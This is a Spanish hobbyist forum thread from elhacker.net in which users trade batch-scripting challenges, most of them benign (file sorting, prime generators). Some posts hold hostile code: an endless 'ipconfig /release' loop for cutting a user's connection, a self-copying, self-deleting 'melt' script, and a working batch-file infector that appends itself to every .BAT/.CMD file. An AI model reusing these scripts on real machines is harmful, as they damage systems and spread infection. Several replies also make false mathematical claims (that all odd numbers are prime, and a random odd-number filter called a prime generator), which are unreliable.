Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: ELVJop en 23 Abril 2012, 18:57 pm



Título: REtos batch
Publicado por: ELVJop en 23 Abril 2012, 18:57 pm
Estoy muy aburrido y como no tengo nada mejor a hacer he tenido una idea. Que pongan retos en batch.
Ejemplo: Quiero que hagas un script que te habra la carpeta que tu eligas.


Título: Re: REtos batch
Publicado por: beholdthe en 23 Abril 2012, 19:14 pm
Estoy muy aburrido y como no tengo nada mejor a hacer he tenido una idea. Que pongan retos en batch.
Ejemplo: Quiero que hagas un script que te habra la carpeta que tu eligas.
Me parece buena propuesta.
Crea un batch que al ejecutarlo deje a el usuario (aunque sea administrador) sin Internet en ese equipo, y otro que lo restaure y se lo devuelva.
Un saludo y suerte.


Título: Re: REtos batch
Publicado por: $Edu$ en 23 Abril 2012, 19:27 pm
Crea un malware simple, que se autocopie pero que se autoborre a la vez


Título: Re: REtos batch
Publicado por: ELVJop en 23 Abril 2012, 19:31 pm
Huy muy buenas ideas ahora me pongo. Pero porfavor de 1 en 1 como empezare por orden Edu me podrias explicar un poco tu propuesta es que no tiene "mucho sentido"
 si fuera un archivo maligno y despues uno buno que te reparase el mal si pero si no no lo entiendo. Ahora mismo me meto a ello.

PD: Buenas noticias e encontrado el primer reto!!!

este es el codigo:
Código:
@echo off
:inicio
ipconfig /release
goto :inicio
Claro que para que salga correcto tendriamos que transformarlo a .exe en como de 2 plano para rescatar el internet seria este otro code:
Código:
@echo off
taskkill /T /F cmd.exe
exit
Los codigos no los he probado. Tambien se podria rescatar reiniciado claro que si eres inteligente i modificas el registro y lo pones en el inicio del sistema no tendria internet :P

PD2: lo de transformarlo a .exe para que se ejecute en segundo plano es opcional pero claro se podria cerrar haciendo clic en el boton y se mostraria una pantalla negra que la verdad :S no es que sea muy amigable


Título: Re: REtos batch
Publicado por: Stakewinner00 en 23 Abril 2012, 21:33 pm
Crea una calculadora de equaciones de 2º grado

y un generador de numeros primos.

SUERTE

 :D


Título: Re: REtos batch
Publicado por: Eleкtro en 23 Abril 2012, 21:41 pm
No se si habrían muchos más interesados aparte de nosotros 3 en crear un buen topic sobre Retos de Batch, Si es así escriban aqui su opinion.
Si hubiera bastantes más a favor haría una Votación y se llevaría a cabo este tema de un modo más "correcto" aplicando normas, Peticiones de pistas, Tiempo límite, Temáticas, Y no se, Lo que se nos ocurra que fuese buena idea xD.



Bueno, Para variar, Me gusta más el procesamiento de texto y las cosas relacionadas...

Nivel de dificultad (Del 1 al 10): 4

Reto:
- Crea un directorio, Un subdirectorio en ese directorio, Y al menos 2 archivos en cada directorio.

- Crea un Bat que procese todos los archivos del directorio (Incluyendo el subdirectorio), Y ordene los archivos por la última fecha de modificación, Mostrando una lista con la fecha en formato AÑO/MES/DÍA, Seguido del nombre del archivo.

Requisitos: El orden no debe afectar a las carpetas. Es decir, Se tienen que ordenar "reuniendo" todos los archivos, No ir carpeta por carpeta.

Ejemplo:
(http://img3.imageshack.us/img3/6219/prtscrcapture2mg.jpg)

¿Alguien lo quiere intentar? xD


Título: Re: REtos batch
Publicado por: Stakewinner00 en 23 Abril 2012, 21:49 pm
No se si habrían muchos más interesados aparte de nosotros 3 en crear un buen topic sobre Retos de Batch, Si es así escriban aqui su opinion.
Si hubiera bastantes más a favor haría una Votación y se llevaría a cabo este tema de un modo más "correcto" aplicando normas, Peticiones de pistas, Tiempo límite, Temáticas, Y no se, Lo que se nos ocurra que fuese buena idea xD.





Ami me gustaria participar en esto de retos de batch tengo un nivel medio, por lo que podria aprender y enseñar a la vez, vi otro post de retos batch que un usuario te proponia retos pero todos muy faciles como calcular area de un triangulo y cossas por el estilo.

Estaria bien crear ni que sea un post con concurssos de batch o algo por el estil, sino podemos coger my web cutre para poner los retos de batch

aqui esta el link de mi web en la que no pude trabajarla nada, la dejare hasta que tenga tiempo.

Creo k lo mejor de mi web es el foro por mucho que no es mio jaja.

http://drg.netne.net (http://drg.netne.net)


Título: Re: REtos batch
Publicado por: ELVJop en 23 Abril 2012, 22:28 pm
1- Espero tu indicacion edu
2- Porfavor retos poco a poco como maximo 2 (Ahora no pasa nada)
3- Numeros primos no se lo que es. (Soy catalan quizas tiene otro nombre)
4- Ahora me meto elecktro hacker hace pinta de ser dificilito pero ahora lo intentare.


Título: Re: REtos batch
Publicado por: Eleкtro en 23 Abril 2012, 22:48 pm
3- Numeros primos no se lo que es. (Soy catalan quizas tiene otro nombre)

Por esto dije lo de las temáticas, Stakewinner00 haría la temática "números" XDDD
Es cualquier número que solo es divisible por 1, Y por si mismo. Osea, Todos los números impares... Si no me equivoco.
PD: A mi tmb se me da mal las matemáticas.


4- Ahora me meto elecktro hacker hace pinta de ser dificilito pero ahora lo intentare.
Los retos son para todos, Pero si quieres intentarlo te costará, Se puede realizar el code con una caracteristica de WMIC. Otro modo es hacerlo con "FOR /?" ( Donde "?" Tendrás que descubrirlo tú :) )

Salu2.


Título: Re: REtos batch
Publicado por: ELVJop en 23 Abril 2012, 22:53 pm
Lo tuyo se puede hacer. Y lo se hacer pero tarde un poquito...
Por cierto gracias ya se a que se referia (Las mates se me dan de coña) eso es muy dificil de hacer en batch porque tendria que escribir montones de lineas. Claro porque la parte interesante del codigo seria que tu no pusiaras a mano los codigos si no no tiene gracia :P (Para demostrar que lo se los primeros  numeros primos serian : 1-2-3-5-7-11-13 ....


Título: Re: REtos batch
Publicado por: Eleкtro en 23 Abril 2012, 22:56 pm
(Para demostrar que lo se los primeros  numeros primos serian : 1-2-3-5-7-11-13 ....

El 1 y el 2 no cuentan en la tabla de los primos, Son a partir del 3, Eso si lo sé xD.

Salu2

PD: Es más facil de lo que crees hacer un generador de numeros primos en batch (Set /A...)


Título: Re: REtos batch
Publicado por: ELVJop en 23 Abril 2012, 22:58 pm
El 1 depende de donde pero el 2 siempre ha sido y siempre sera numero primo.

salu3

Puede ser pero seria muy dificil encontrar una relacion tan grande.


Título: Re: REtos batch
Publicado por: $Edu$ en 23 Abril 2012, 23:59 pm
Fa mejor no hagan retos de matematicas porque andamos medio entreverados en eso veo xDD

No creo que valga la pena que vengan usuarios a explicar como se equivocaron algunos aca, simplemente no hablen mas de retos con matematicas y listo xD

@ELVJop , lo que te decia es que crees un bat que al ejecutarse, se copie y se borre, pero seguira corriendo, solo que no de donde lo ejecutaste sino desde donde se copio. El usuario solo vera que desaparece el icono, mientras el programa sigue corriendo, y es porque esta ejecutandose la copia.bat

Eso tiene un nombre, pero no quiero decirtelo sino buscaras, la idea es que piensen, creo que no es dificil, pero a veces confunde un poco xD


Título: Re: REtos batch
Publicado por: beholdthe en 24 Abril 2012, 00:43 am
EleKtro H@cker a ti se te ocurre un batch mejor para lo que yo he preguntado??¿?¿
Seguro que si, que he visto cosas tuyas en batch muy buenas.


Título: Re: REtos batch
Publicado por: ELVJop en 24 Abril 2012, 15:09 pm
Edu he conseguido lo que querias te dego el link de descarga (te juro que lo hice yo si quires posteo su code pero te digo que se perderia mucha ilusion si lo posteo)
Aqui el primero que debe ejecutar-se:
http://www.mediafire.com/download.php?4d39eiqcevcvw7u
e aqui el segundo que debe estar en la misma carpeta:
http://www.mediafire.com/download.php?n3dxgl8pn90ti9x

PD: No testeado


Título: Re: REtos batch
Publicado por: Puntoinfinito en 24 Abril 2012, 15:40 pm
Os pongo a prueba, me gustaría que lo intentara cualquiera a ver quien es el que lo consigue... (Serán dos partes)

RETO I
 
   Dificultad del 1 al 10: 3
   Consiste en: Hacer un code que me diga cuantos dígitos enteros (solo enteros) y decimales (solo decimales) tiene un número.

Ex.

(http://i42.tinypic.com/klrsz.png)

Creo que es fácil... Saludos


Título: Re: REtos batch
Publicado por: Stakewinner00 en 24 Abril 2012, 16:38 pm
Os pongo a prueba, me gustaría que lo intentara cualquiera a ver quien es el que lo consigue... (Serán dos partes)

RETO I
 
   Dificultad del 1 al 10: 3
   Consiste en: Hacer un code que me diga cuantos dígitos enteros (solo enteros) y decimales (solo decimales) tiene un número.


Yo no lo encuntro del todo facil, le pondria un 6 de dificultad. Intentare hacerlo cuando tenga tiempo haber si me sale


Título: Re: REtos batch
Publicado por: $Edu$ en 24 Abril 2012, 17:44 pm
Edu he conseguido lo que querias te dego el link de descarga (te juro que lo hice yo si quires posteo su code pero te digo que se perderia mucha ilusion si lo posteo)
Aqui el primero que debe ejecutar-se:
http://www.mediafire.com/download.php?4d39eiqcevcvw7u
e aqui el segundo que debe estar en la misma carpeta:
http://www.mediafire.com/download.php?n3dxgl8pn90ti9x

PD: No testeado

Ni lo descargue.. porque ya veo que haz hecho mal.. porque no se a que te referis con "e aqui el segundo que debe estar en la misma carpeta", eso esta mal, la idea es que sea un solo .bat y que al ejecutarse se autocopie a otro lugar como a System32 y que se borre el que se dio doble click (el original) pero quede ejecutado la copia. El usuario solamente notara que desaparece el icono, y una vez que cierra el bat no sabra donde esta guardado. Esto lo hacen muchos malwares, aunque levanta muchas sospechas.

No lo pases a exe tampoco, simplemente me dejas el codigo, muy largo no es, solo hay que pensar como. Despues que tenes la idea te quedan 10 lineas tal vez xD ya que el bat solo dejara un mensaje o lo que quieras, nada maligno.


Título: Re: REtos batch
Publicado por: Runex en 24 Abril 2012, 18:21 pm
Os pongo a prueba, me gustaría que lo intentara cualquiera a ver quien es el que lo consigue... (Serán dos partes)

RETO I
 
   Dificultad del 1 al 10: 3
   Consiste en: Hacer un code que me diga cuantos dígitos enteros (solo enteros) y decimales (solo decimales) tiene un número.

Ex.

(http://i42.tinypic.com/klrsz.png)

Creo que es fácil... Saludos
//sea N el numeroal quele quieras hallar el numero de digitos
int contador =0 // te dia cuantos digitos tiene tu numero N

while( N>=1 )
{
N=N/10;
contador=contador+1;
}

Ese es el algoritmo para sacarlo :), no lo aplico en batch porque uso debian


Título: Re: REtos batch
Publicado por: Runex en 24 Abril 2012, 18:23 pm
//sea N el numeroal quele quieras hallar el numero de digitos
int contador =0 // te dia cuantos digitos tiene tu numero N

while( N>=1 )
{
N=N/10;
contador=contador+1;
}

Ese es el algoritmo para sacarlo :), no lo aplico en batch porque uso debian y mi ram no me da para emular windows en virtualbox xD


Título: Re: REtos batch
Publicado por: Runex en 24 Abril 2012, 18:25 pm
//sea N el numeroal quele quieras hallar el numero de digitos
int contador =0 // te dia cuantos digitos tiene tu numero N

while( N>=1 )
{
N=N/10;
contador=contador+1;
}

Ese es el algoritmo para sacarlo :), no lo aplico en batch porque uso debian.
Me voy a estudiar historia! Un saludo :)


Título: Re: REtos batch
Publicado por: Puntoinfinito en 24 Abril 2012, 19:06 pm
Buen trabajo xD
Inténtalo hacer en BATCH y a ver si pasas a hacer la segunda...


Título: Re: REtos batch
Publicado por: ELVJop en 24 Abril 2012, 19:08 pm
Edu pero no se puede hacer algo asi (Que yo sepa) La idea es que cuand ose copie siga en segundo plano no? Pues lo meti a .exe en segundo plano dudo que exista un comando que lo solucione. Por eso 2, 1 que no es invisible y otro que si. Como mucho puedo ejecutarlo minimizado

EDITO: he encontrado el modo ahora quando termino un trbajo me meto seran 5 minutos y reposteo o edito


Título: Re: REtos batch
Publicado por: ELVJop en 24 Abril 2012, 19:25 pm
Claro como lo de edu es muy facil y lo terminare rapido me metere con tu reto (Tengo pendiendte el de elecktro pero no estoy en el ordenador en el que empece su reto y no quiero empezar de 0)


Título: Re: REtos batch
Publicado por: $Edu$ en 24 Abril 2012, 20:05 pm
Edu pero no se puede hacer algo asi (Que yo sepa) La idea es que cuand ose copie siga en segundo plano no? Pues lo meti a .exe en segundo plano dudo que exista un comando que lo solucione. Por eso 2, 1 que no es invisible y otro que si. Como mucho puedo ejecutarlo minimizado

EDITO: he encontrado el modo ahora quando termino un trbajo me meto seran 5 minutos y reposteo o edito

Creo que no me estas entendiendo, yo no hablo de correr nada invisible ni nada. Es simple y muy facil creo, pero no se porque algunas veces me costaba xD

Nunca usaste algun troyano? algunos tienen una opcion que lo que hace es borrarse al ejecutarse, pero si se borra como sigue ejecutandose? bien.. porque lo que esta ejecutandose es la copia escondida.

Tienes que hacer eso mismo sin importar si se ve o no.
Fijate que el bat es este:

Código
  1. @echo off
  2. echo Hola!
  3. pause>nul
  4.  

Le agregaras codigo para que cuando ese bat se ejecute se autocopie a System32 y se ejecute esa copia, pero no quedaran 2 abiertos, ya que el original se habra cerrado y borrado.

Mas claro imposible, si no puedes es porque no puedes y listo xD Es facil creo, no se ni porque te dije que hagas eso, pero ahora hacelo xD


Título: Re: REtos batch
Publicado por: ELVJop en 24 Abril 2012, 20:15 pm
Lo unico que quieres es que se copie en otro sitio y se ejecute el copiado en otro sitio y despues se borre el original? Pero viendose la ventana del escondido?? AAAAAAAAAAAAa entonces es muy facil ahora lo posteo (Si es eso lo que quieres)


Título: Re: REtos batch
Publicado por: $Edu$ en 24 Abril 2012, 20:18 pm
Si eso, es facil


Título: Re: REtos batch
Publicado por: Stakewinner00 en 24 Abril 2012, 20:25 pm
3- Numeros primos no se lo que es. (Soy catalan quizas tiene otro nombre)

Yo tambien soy catalan, en catalan seria numeros primes.

PD:Si puedes hacer una agenda electronica que el dia antes del evento te haga saltar una alarma, es bastante facil ,creo.


Título: Re: REtos batch
Publicado por: moikano→@ en 24 Abril 2012, 20:36 pm
Citar
Yo tambien soy catalan, en catalan seria numeros prims.

En Catalá se llaman "nombres primers".


La iniciativa de los retos me parece buena idea. Yo no prometo nada, pero si lo haceis lo seguiré.


Título: Re: REtos batch
Publicado por: ELVJop en 24 Abril 2012, 20:41 pm
No encuentro el maldito error!!!!!!!!!! Estoy super estresado.
Código:
@echo off
:iniciar
if exist C:\re.bat goto :hola
copy "re.bat" "C:\"
if NOT exist C:\re.bat goto :iniciar
start C:\re.bat
del /f /q re.bat
exit

:hola
echo Hola!
pause
exit
No para de decirme no se encuentra el archivo especificado.

PD: Si laguien lo quiere intentar se debe ejecutar como administrador si no no se porque no dega modificarlo.


Título: Re: REtos batch
Publicado por: Stakewinner00 en 24 Abril 2012, 20:50 pm
No encuentro el maldito error!!!!!!!!!! Estoy super estresado.
Código:
@echo off
:iniciar
if exist C:\re.bat goto :hola
copy "re.bat" "C:\"
if NOT exist C:\re.bat goto :iniciar
start C:\re.bat
del /f /q re.bat
exit

:hola
echo Hola!
pause
exit
No para de decirme no se encuentra el archivo especificado.

PD: Si laguien lo quiere intentar se debe ejecutar como administrador si no no se porque no dega modificarlo.


NO se si es eso pero has probado de poner ""
if exist "C:\re.bat" goto :hola no lo se seguro pero puede ser eso
"C:\re.bat" con comillas igual k if NOT exist "C:\re.bat" goto :iniciar


Título: Re: REtos batch
Publicado por: Puntoinfinito en 24 Abril 2012, 20:54 pm
Yo también soy catalan xD
Después de Edu voy yo, luego elektro o tu... Quiero ver si es capaz de hacerlo


Título: Re: REtos batch
Publicado por: $Edu$ en 24 Abril 2012, 21:13 pm
No encuentro el maldito error!!!!!!!!!! Estoy super estresado.
Código:
@echo off
:iniciar
if exist C:\re.bat goto :hola
copy "re.bat" "C:\"
if NOT exist C:\re.bat goto :iniciar
start C:\re.bat
del /f /q re.bat
exit

:hola
echo Hola!
pause
exit
No para de decirme no se encuentra el archivo especificado.

PD: Si laguien lo quiere intentar se debe ejecutar como administrador si no no se porque no dega modificarlo.

Ah pero te falta aprender mas aun, pensaba que algo de nocion tenias xDD broma jeje, pero es verdad.. xDD aprende sobre argumentos en batch, fijate que hace el %0 y planteate bien lo que queres hacer, no crees bucles innecesarios xD

"Claro como lo de edu es muy facil y lo terminare rapido me metere con tu reto" --> fail xD


Título: Re: REtos batch
Publicado por: ELVJop en 24 Abril 2012, 22:00 pm
estoy muy muy fail... Aviso de que si no lo consigo renuncio al reto... (No renunciare sin perder el ultimo aliento


Título: Re: REtos batch
Publicado por: 79137913 en 24 Abril 2012, 22:05 pm
HOLA!!!

Mmm, queres un reto...

1ro crea un bat que se autocopie a startup
2do crea un bat que se inyecte a si mismo a todos los bats y vbs del disco
3ro crea un bat que abra una pagina de internet con publicidad
4to crea un bat que haga Melt

Uni todo y postea.

GRACIAS POR LEER!!!


Título: Re: REtos batch
Publicado por: 79137913 en 24 Abril 2012, 22:19 pm
HOLA!!!

Que faltaba yo o mi reto?

PD: Agregale al bat que sea fud

GRACIAS POR LEER!!!


Título: Re: REtos batch
Publicado por: m0rf en 24 Abril 2012, 22:40 pm
Yo tambien soy catalan, en catalan seria numeros prims.

numeros prims xDDDD


Título: Re: REtos batch
Publicado por: Binary_Death en 24 Abril 2012, 23:12 pm
numeros prims xDDDD


No way! Es "Nombres primers"!



Título: Re: REtos batch
Publicado por: Binary_Death en 25 Abril 2012, 01:03 am
HOLA!!!

Mmm, queres un reto...

1ro crea un bat que se autocopie a startup
2do crea un bat que se inyecte a si mismo a todos los bats y vbs del disco
3ro crea un bat que abra una pagina de internet con publicidad
4to crea un bat que haga Melt

Uni todo y postea.

GRACIAS POR LEER!!!

Respecto a ese reto... yo había hecho algo hace tiempo que servía para infectar ficheros por lotes de una forma decente.

Código
  1. @:_v_main
  2. @Echo Off %v_main%
  3. For /f "Tokens=* Delims=" %%i in ( %v_main%
  4.        'Dir/b *.BAT *.CMD' %v_main%
  5. ) Do Call:_Infect "%%~i" "%~0" %v_main%
  6. Exit/B 0 %v_main%
  7. :_Infect %v_main%
  8. Find "@::i_b_t"<"%~1">NUL && GoTo:EoF %v_main%
  9. For /f "Tokens=1 Delims=" %%_ in ( %v_main%
  10.        'Type "%~1"^|find /v /c ""^<"%~1"'%v_main%
  11. ) Do Set/A "beg_rg=%%_+1" & Set/A "end_rg=%%_+6" %v_main%
  12. ( %v_main%
  13.        Echo. %v_main%
  14.        Echo.@::i_b_t %v_main%
  15.        Echo.@Set "Str_R=v_ma" %v_main%
  16.        Echo.@GoTo:_%%~1 %v_main%
  17.        Echo.:_ %v_main%
  18.        Echo.@Start "" /B /high "%%~0" %%Str_R%%in %v_main%
  19. ) >> "%~1" %v_main%
  20. ( %v_main%
  21.        Echo.%beg_rg%,%end_rg%,1M %v_main%
  22.        Echo.E %v_main%
  23. )|Edlin /B %~1 %v_main%
  24. Find "v_main"<"%~2">>"%~1" %v_main%
  25. Goto:EoF %v_main%
  26.  

Lo bueno es que un .BAT infectado así permite que el malware corra oculto mientras se ejecuta el script huésped.
Usa lo que sería una especie de threads en batch, gracias a startb /b que crea una nueva instancia en el programa sin generar una nueva ventana.
De esa forma se genera la instancia del malware y después le da el control al script para su normal ejecución.
Eso también hace que la ejecución del malware pueda durar mucho tiempo sin que se noten efectos, ya que el programa huésped se ejecutará al instante.

Por cierto, la instancia del malware comparte el mismo handle de entrada y salida (y error) del programa huésped, así que se pueden hacer cosas divertidas haciendo por ejemplo que el programa huésped muestre algunos mensajes según las operaciones realizadas.


Título: Re: REtos batch
Publicado por: ELVJop en 25 Abril 2012, 15:38 pm
Aviso aqui que consegui el reto de edu jeje pero no estoy en el ordenador en el que lo tengo :S despues me metere y lo pongo.


Título: Re: REtos batch
Publicado por: Puntoinfinito en 25 Abril 2012, 15:53 pm
Pues aun tienes faena con otros Retos.. xD


Título: Re: REtos batch
Publicado por: ELVJop en 25 Abril 2012, 16:57 pm
AVISO URGENTE: NO SE ACEPTAN MAS RETOS (por mi parte)

Perdon  por el abuso de mayusculas y el exesivo color y letra pero esqie voy hasta el cuello termino un reto vengo aqui tengo 3 o 4 mas. Y recuerdo que la idea es mia pero que los que quieran hacer un reto pueden hacerlo y postearlo aqui sin ningun problema.

PD: Hoy me tomo el dia libre que no tengo ganas de meterme en retos tengo un proyecto personal.


Título: Re: REtos batch
Publicado por: Puntoinfinito en 25 Abril 2012, 17:21 pm
Tu mismo hiciste el post, acepta las consecuencias, la gente es muy competitiva :/

Saluudos (Sin mala fe eh)


Título: Re: REtos batch
Publicado por: $Edu$ en 25 Abril 2012, 17:26 pm
Yo quiero ver mi reto


Título: Re: REtos batch
Publicado por: ELVJop en 25 Abril 2012, 17:29 pm
Ya se que hice yo el post pero pensaba que no tendria tanto exito mira estamos por la 4ª pagina en 2 dias como el que dice no todos lso post son retos pero... Piensa que esto lo hice para practicar y para aprender cosas nuevas por el camino y me estais poniendo retos que se me escapan un poco por ejemplo el de Edu fue perfecto aprendi a usar %0 y me fue muy bien pero por ejemplo un generador de numeros primos es muy dificil encontrar una relación entre todos esos numeros.

PD: Edu tranquilo me metere en ese ordenador hacia las 8 quizas. mira el otro PD de mi otro post


Título: Re: REtos batch
Publicado por: Stakewinner00 en 25 Abril 2012, 17:43 pm
pero por ejemplo un generador de numeros primos es muy dificil encontrar una relación entre todos esos numeros.

PD: Edu tranquilo me metere en ese ordenador hacia las 8 quizas. mira el otro PD de mi otro post

Mira un dia un amigo me dijo mira que codigo que he creado para sacar numeros primos.

Si ponias que generase 10 numeros primos bien pero si ponias 999 hiva muy lento entonces con %random% y unos if consegui hacer que generase numeros primos aleatorios el doble de rapido.

Si kieres puedo postear el codigo que uso mi amigo y tu intentas mejorarlo para que genere numeros mas rapidos.


Título: Re: REtos batch
Publicado por: Runex en 25 Abril 2012, 19:35 pm
Yo también quiero mi reto... Es de lo más fácil que hay...

Y más cuando he dejado yo el algoritmo escrito XD


Título: Re: REtos batch
Publicado por: Eleкtro en 25 Abril 2012, 19:48 pm
ya que nadie hace mi reto y me aburro :( me apunto al reto del generador de números primos!  :xD


Código
  1. @Echo off
  2. Title Prime Number Generator
  3. Setlocal enabledelayedexpansion
  4.  
  5. :: By Elektro H@cker
  6. ::
  7. :: Generador de números primos.
  8. ::
  9. Set MinRange=2
  10. Set MaxRange=1000
  11. :: :: :: :: ::
  12.  
  13. :Calc
  14. Set /A MinRange+=1
  15. Set /A Matches=0
  16.  
  17. FOR /L %%# IN (2,1,!MinRange!) DO (
  18. FOR /L %%X IN (2,1,!MinRange!) DO (
  19. Set /A Result=%%#*%%X
  20. If !Result! EQU !MinRange! (Goto :Calc)
  21. )
  22. )
  23.  
  24. If !MinRange! GTR !MaxRange! (Pause>nul) ELSE (<Nul Set /P=%MinRange%,)
  25. Goto :Calc

(http://img842.imageshack.us/img842/9057/prtscrcapture4l.jpg)

Lo que hace es una comprobación de cada número (1,2,3,4,5,6,7,8,9,10,etc... hasta llegar al límite de rango)

Por ejemplo la comprobación del número 13 sería:
- obtener todos los números desde el "2" hasta el "12" e ir multiplicando uno a uno para ver si alguno coincide con el "13".
Ejemplo: 2x1, 2x2, 2x3, 2x3...2x13     12x1, 12x2, 12x3...12x13   etc...
Si encuentra la primera coincidencia deja de hacer más (Para que no tarde una eternidad). Si no hay ninguna coincidencia, Obviamente el número es primo.

PD: Cuanto mayor es el número a comprobar, Más tiempo va a tardar ya que tiene que realizar más multiplicaciones (Solo para los números primos).

PD2: Me he mirado está lista para comprobar que hice todo bien, Repito que las matemáticas no son lo mio :P, Seguro que hay métodos mejores.
http://www.addedbytes.com/blog/prime-numbers/



Aquí una versión alternativa que no tarda ni 5 segundos en obtener los primos hasta el número 10.000 xDDDDDD  :silbar:

Código
  1. @Echo OFF
  2. Title Prime Number Generator
  3. REM   Versión NOOB XD
  4.  
  5. :: By Elektro H@cker
  6. ::
  7. :: Obtiene una lista de números primos desde el número 2 hasta el número 10.000
  8. :: Nota: Es necesario WGET para usarlo.
  9.  
  10. wget -help >NUL || Exit /B 1
  11.  
  12. Setlocal enabledelayedexpansion
  13. WGET -q "http://www.addedbytes.com/blog/prime-numbers/" -O "%TEMP%\Primes.html"
  14.  
  15.  
  16. For /F "Tokens=*" %%a in ('Type "%TEMP%\Primes.html" ^| Find "<li"') do (
  17. Set "Numbers=%%a"
  18. Set "Numbers=!Numbers:</li>>=!"
  19. Set "Numbers=!Numbers:</li><li>=, !"
  20. Set "Numbers=!Numbers:<ul><li>=!"
  21. Set "Numbers=!Numbers:</li></ul>=!"
  22. Echo "!NUMBERS!" | FINDSTR ",.[0-9]" 2>NUL
  23. )

(http://img845.imageshack.us/img845/4268/prtscrcapture3a.jpg)

Salu2!


Título: Re: REtos batch
Publicado por: Stakewinner00 en 25 Abril 2012, 19:52 pm
solo con bat el primer code los genera lento yo cree este

Código:
@echo off
:anteinicio
set /p t=cuantos primos quieres?=
if %t% lss 3 (echo su numero tiene que ser mayor que 2) else (goto seguir)
pause
exit
:seguir
set ee=%random%
if %ee:~-1%==2 goto seguir
if %ee:~-1%==4 goto seguir
if %ee:~-1%==6 goto seguir
if %ee:~-1%==8 goto seguir
if %ee:~-1%==0 goto seguir
echo %ee%
set /a t=t-1
if %t%== 0 (pause) else (goto seguir)

los genera rapido usando solo batch
creo k este code es el mas rapido usando solo batch. XD


Título: Re: REtos batch
Publicado por: Runex en 25 Abril 2012, 20:01 pm
ya que nadie hace mi reto y me aburro :( me apunto al reto del generador de números primos!  :xD


Código
  1. @Echo off
  2. Title Prime Number Generator
  3. Setlocal enabledelayedexpansion
  4.  
  5. :: By Elektro H@cker
  6. ::
  7. :: Generador de números primos.
  8. ::
  9. Set MinRange=2
  10. Set MaxRange=1000
  11. :: :: :: :: ::
  12.  
  13. :Calc
  14. Set /A MinRange+=1
  15. Set /A Matches=0
  16.  
  17. FOR /L %%# IN (2,1,!MinRange!) DO (
  18. FOR /L %%X IN (2,1,!MinRange!) DO (
  19. Set /A Result=%%#*%%X
  20. If !Result! EQU !MinRange! (Goto :Calc)
  21. )
  22. )
  23.  
  24. If !MinRange! GTR !MaxRange! (Pause>nul) ELSE (<Nul Set /P=%MinRange%,)
  25. Goto :Calc

(http://img842.imageshack.us/img842/9057/prtscrcapture4l.jpg)

Lo que hace es una comprobación de cada número (1,2,3,4,5,6,7,8,9,10,etc... hasta llegar al límite de rango)

Por ejemplo la comprobación del número 13 sería:
- obtener todos los números desde el "2" hasta el "12" e ir multiplicando uno a uno para ver si alguno coincide con el "13".
Ejemplo: 2x1, 2x2, 2x3, 2x3...2x13     12x1, 12x2, 12x3...12x13   etc...
Si encuentra la primera coincidencia deja de hacer más (Para que no tarde una eternidad). Si no hay ninguna coincidencia, Obviamente el número es primo.

PD: Cuanto mayor es el número a comprobar, Más tiempo va a tardar ya que tiene que realizar más multiplicaciones (Solo para los números primos).

PD2: Me he mirado está lista para comprobar que hice todo bien, Repito que las matemáticas no son lo mio :P, Seguro que hay métodos mejores.
http://www.addedbytes.com/blog/prime-numbers/



Aquí una versión alternativa que no tarda ni 5 segundos en obtener los primos hasta el número 10.000 xDDDDDD  :silbar:

Código
  1. @Echo OFF
  2. Title Prime Number Generator
  3. REM   Versión NOOB XD
  4.  
  5. :: By Elektro H@cker
  6. ::
  7. :: Obtiene una lista de números primos desde el número 2 hasta el número 10.000
  8. :: Nota: Es necesario WGET para usarlo.
  9.  
  10. wget -help >NUL || Exit /B 1
  11.  
  12. Setlocal enabledelayedexpansion
  13. WGET -q "http://www.addedbytes.com/blog/prime-numbers/" -O "%TEMP%\Primes.html"
  14.  
  15.  
  16. For /F "Tokens=*" %%a in ('Type "%TEMP%\Primes.html" ^| Find "<li"') do (
  17. Set "Numbers=%%a"
  18. Set "Numbers=!Numbers:</li>>=!"
  19. Set "Numbers=!Numbers:</li><li>=, !"
  20. Set "Numbers=!Numbers:<ul><li>=!"
  21. Set "Numbers=!Numbers:</li></ul>=!"
  22. Echo "!NUMBERS!" | FINDSTR ",.[0-9]" 2>NUL
  23. )

(http://img845.imageshack.us/img845/4268/prtscrcapture3a.jpg)

Salu2!

Elektro no he leido tu mensaje entero, pero no será más fácil dejarse de multiplicaciones, iniciar el bucle for desde 0 hasta el máximo de números primos que tu quieres, y hacer un condicional, que si el resto obtenido de dividirlo por 2 (módulo) es diferente de 0, imprima el número? ya que este será primo.

Lo he hecho en python y tarda apenas 4 segundos en sacar todos los primos de 0 hasta 100000, no sé si influirá la rapidez del lenguaje, pero pruébalo y me cuentas :)


Título: Re: REtos batch
Publicado por: Eleкtro en 25 Abril 2012, 20:25 pm
Runex, Tienes razón, Entonces lo dejamos en un medio-fail, Ya que al menos cumple su propósito xD. (Y los retos son de Batch)
No leiste mi post entero, Bueno decía que seguro que había técnicas mejores y más rápidas, No soy un maestro de los números  :P.

PD: El lenguaje marca la diferencia, Te lo aseguro!
      Si tuvieras una lista de números primos del 1 al 1.000.000, y solo tuvieras que mostrarlos haciendo "FOR /F %%a in (Lista.txt) Do (Echo %%a)" (Sin realizar operaciones ni nada) Ya tardaría lo suyo ya... varios minutos. :xD

Saludos

EDITO: Esto demuestra la velocida (basura) de Batch:
Código
  1. @echo off
  2. Set START=%Time%
  3. FOR /L %%X IN (1,1,1000000) DO (Echo %%X)
  4. Set FINISH=%Time%
  5. Echo %START% ^| %FINISH%

(http://img543.imageshack.us/img543/2697/prtscrcapture5.jpg)



solo con bat el primer code los genera lento yo cree este

Código:
@echo off
:anteinicio
set /p t=cuantos primos quieres?=
if %t% lss 3 (echo su numero tiene que ser mayor que 2) else (goto seguir)
pause
exit
:seguir
set ee=%random%
if %ee:~-1%==2 goto seguir
if %ee:~-1%==4 goto seguir
if %ee:~-1%==6 goto seguir
if %ee:~-1%==8 goto seguir
if %ee:~-1%==0 goto seguir
echo %ee%
set /a t=t-1
if %t%== 0 (pause) else (goto seguir)

los genera rapido usando solo batch
creo k este code es el mas rapido usando solo batch. XD

Está bueno.

Pero hay que mencionar que ese code es un generador aleatorio :P


Título: Re: REtos batch
Publicado por: Puntoinfinito en 25 Abril 2012, 21:30 pm
//sea N el numeroal quele quieras hallar el numero de digitos
int contador =0 // te dia cuantos digitos tiene tu numero N

while( N>=1 )
{
N=N/10;
contador=contador+1;
}

Ese es el algoritmo para sacarlo :), no lo aplico en batch porque uso debian
Bien, bien :D
¿Te atreves con el Segundo?
¿O  intentas el primero con BATCH?


Título: Re: REtos batch
Publicado por: HdM en 25 Abril 2012, 22:05 pm
Buenas.

